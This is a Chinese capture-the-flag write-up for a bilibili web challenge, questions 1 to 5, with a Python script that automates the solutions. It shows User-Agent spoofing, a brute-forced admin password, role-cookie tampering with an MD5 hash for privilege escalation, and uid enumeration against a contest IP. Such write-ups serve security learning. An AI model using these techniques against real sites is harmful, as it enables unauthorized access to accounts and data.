第一题:页面的背后是什么?
直接F12查看源码即可得到flag
第二题:真正的秘密只有特殊的设备才能看到
和第一题差不多,这题只需把 User-Agent 改成 bilibili Security Browser 即可得到flag
第三题:密码是啥?
这题是纯暴力破解题
username:admin
passwd:bilibili
第四题:对不起,权限不足~
F12看一下请求头,可以发现Cookie:role=ee11cbb19052e40b07aac0ca060c23ee
把role换成Administrator的32位md5,然后 GET http://45.113.201.36/api/ctf/4 即可获得flag
第五题:别人的秘密
根据页面JS代码
<script>
$(function () {
(function ($) {
$.getUrlParam = function(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
var r = window.location.search.substr(1).match(reg);
if (r != null) return unescape(r[2]); return null;
}
})(jQuery);
var uid = $.getUrlParam('uid');
if (uid == null) {
uid = 100336889;
}
$.ajax({
url: "api/ctf/5?uid=" + uid,
type: "get",
success:function (data) {
console.log(data);
if (data.code == 200){
// 如果有值:前端跳转
$('#flag').html("欢迎超级管理员登陆~flag : " + data.data )
} else {
// 如果没值
$('#flag').html("这里没有你想要的答案~")
}
}
})
});
</script>
这题又是一个爆破题了,直接写个循环来爆破获得flag了
6-10题
待续.....
自动解题
附上1-5题自动解题代码
import requests
import json
import os
def get_1():
headers = {
'User-Agent': 'bilibili Security Browser',
'Cookie': 'session = ' + session + ';role=ee11cbb19052e40b07aac0ca060c23ee'
}
response = requests.get('http://45.113.201.36/api/admin', headers=headers).json()
print('第1题答案是:', response['data'])
def get_2():
headers = {
'User-Agent': 'bilibili Security Browser',
'Cookie': 'session = ' + session + ';role=ee11cbb19052e40b07aac0ca060c23ee'
}
response = requests.get('http://45.113.201.36/api/ctf/2', headers=headers).json()
print('第2题答案是:', response['data'])
def get_3():
headers = {
'User-Agent': 'bilibili Security Browser',
'Cookie': 'session=' + session + '; role=ee11cbb19052e40b07aac0ca060c23ee',
'Content-Type': 'application/json'
}
data = {
"username": "admin",
"passwd": "bilibili"
}
response = requests.post('http://45.113.201.36/api/ctf/3', headers=headers, data=json.dumps(data)).json()
print('第3题答案是:', response['data'])
def get_4():
headers ={
'User-Agent': 'bilibili Security Browser',
'Cookie': 'session = ' + session + ';role=7b7bc2512ee1fedcd76bdc68926d4f7b'
}
response = requests.get('http://45.113.201.36/api/ctf/4', headers=headers).json()
print('第4题答案是:', response['data'])
def get_5():
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0',
'Cookie': 'session=' + session + '; role=ee11cbb19052e40b07aac0ca060c23ee',
'Referer': 'http://45.113.201.36/user.html'
}
for i in range(100336889, 100336999):
response = requests.get('http://45.113.201.36/api/ctf/5?uid=' + str(i), headers=headers).json() #100336973
if response['data'] != '':
print('第5题答案是:', response['data'])
if __name__ == '__main__':
session = input('填入你的session:')
get_5()
os.system('pause')